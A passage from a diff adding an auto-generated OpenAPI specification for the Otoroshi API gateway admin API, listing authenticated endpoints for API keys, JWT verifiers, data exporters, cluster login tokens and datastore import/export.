}, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Creates a Foo", + "operationId" : "foo.extensions.otoroshi.io.Foo.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + } + }, + "/api/pki/certs/_data" : { + "post" : { + "tags" : [ "pki" ], + "summary" : "Extract data from a certificate", + "operationId" : "otoroshi.controllers.adminapi.PkiController.certificateData", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Any" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/PemCertificateBody" + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/jwt-verifiers/_bulk" : { + "post" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Create multiple JwtVerifier at the same time", + "operationId" : "security.otoroshi.io.JwtVerifier.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + } + }, + "put" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Update multiple JwtVerifier at the same time", + "operationId" : "security.otoroshi.io.JwtVerifier.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple JwtVerifier at the same time", + "operationId" : "security.otoroshi.io.JwtVerifier.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Delete multiple JwtVerifier at the same time", + "operationId" : "security.otoroshi.io.JwtVerifier.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/events.otoroshi.io/v1/data-exporters/_bulk" : { + "post" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Create multiple DateExporter at the same time", + "operationId" : "events.otoroshi.io.DateExporter.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + } + }, + "put" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Update multiple DateExporter at the same time", + "operationId" : "events.otoroshi.io.DateExporter.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple DateExporter at the same time", + "operationId" : "events.otoroshi.io.DateExporter.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Delete multiple DateExporter at the same time", + "operationId" : "events.otoroshi.io.DateExporter.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/route-compositions/_count" : { + "get" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Get number of entity of kind RouteComposition", + "operationId" : "proxy.otoroshi.io.RouteComposition.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/api/cluster/login-tokens/{id}" : { + "get" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.isLoginTokenValid", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "the id parameter" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + }, + "post" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.createLoginToken", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "the id parameter" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/admins/_template" : { + "get" : { + "tags" : [ "admins", "security.otoroshi.io" ], + "summary" : "Return a template of a resource of kind SimpleAdminUser", + "operationId" : "security.otoroshi.io.SimpleAdminUser.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind SimpleAdminUser", + "$ref" : "#/components/schemas/security.otoroshi.io.SimpleAdminUser" + } + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/organizations/_template" : { + "get" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Return a template of a resource of kind Organization", + "operationId" : "organize.otoroshi.io.Organization.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Organization", + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + } + } + }, + "/api/snowmonkey/_start" : { + "post" : { + "tags" : [ "snowmonkey" ], + "summary" : "Start the snowmonkey of all otoroshi instances", + "operationId" : "otoroshi.controllers.adminapi.SnowMonkeyController.startSnowMonkey", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Done" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Empty" + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/auth-module-users/_bulk" : { + "delete" : { + "tags" : [ "auth-module-user", "security.otoroshi.io" ], + "summary" : "Delete multiple AuthModuleUser at the same time", + "operationId" : "security.otoroshi.io.AuthModuleUser.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/foo.extensions.otoroshi.io/v1/foos/_count" : { + "get" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Get number of entity of kind Foo", + "operationId" : "foo.extensions.otoroshi.io.Foo.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/apim.otoroshi.io/v1/apikeys/{id}" : { + "get" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + "summary" : "Find resource of kind Apikey by its id", + "operationId" : "apim.otoroshi.io.Apikey.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Apikey", + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + } + }, + "put" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + "summary" : "Updates a specific Apikey using its id", + "operationId" : "apim.otoroshi.io.Apikey.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + }, + "patch" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific Apikey using its id", + "operationId" : "apim.otoroshi.io.Apikey.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + }, + "delete" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + "summary" : "Deletes a specific Apikey using its id", + "operationId" : "apim.otoroshi.io.Apikey.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + } + } + }, + "/api/otoroshi.json" : { + "get" : { + "tags" : [ "import-export" ], + "summary" : "Export all the content of the otoroshi datastore", + "operationId" : "otoroshi.controllers.adminapi.ImportExportController.fullExport", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Any" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + }, + "post" : { + "tags" : [ "import-export" ], + "summary" : "Import the content of the otoroshi datastore (json)", + "operationId" : "otoroshi.controllers.adminapi.ImportExportController.fullImport", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Done" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalConfigImportBody" + } + } + } + } + } + }, + "/apis/apim.otoroshi.io/v1/apikeys/_bulk" : { + "post" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + "summary" : "Create multiple Apikey at the same time", + "operationId" : "apim.otoroshi.io.Apikey.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + } + }, + "put" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + "summary" : "Update multiple Apikey at the same time", + "operationId" : "apim.otoroshi.io.Apikey.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + 